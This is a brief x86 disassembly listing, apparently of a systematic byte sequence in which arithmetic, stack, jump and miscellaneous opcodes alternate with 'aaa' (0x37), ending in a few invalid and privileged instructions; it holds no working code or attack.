or byte [edi], dh
or al, 0x37
adc byte [edi], dh
adc al, 0x37
sbb byte [edi], dh
sbb al, 0x37
and byte [edi], dh
and al, 0x37
sub byte [edi], dh
sub al, 0x37
xor byte [edi], dh
xor al, 0x37
cmp byte [edi], dh
cmp al, 0x37
inc eax
aaa
inc esp
aaa
dec eax
aaa
dec esp
aaa
push eax
aaa
push esp
aaa
pop eax
aaa
pop esp
aaa
pushal
aaa
aaa
push 0x70376c37
aaa
je 0x45a489
js 0x45a48b
jl 0x45a48d
xor byte [edi], 0x84
aaa
mov byte [edi], dh
invalid
aaa
call 0xf07d90c6
aaa
hlt
aaa
in al, dx
aaa
invalid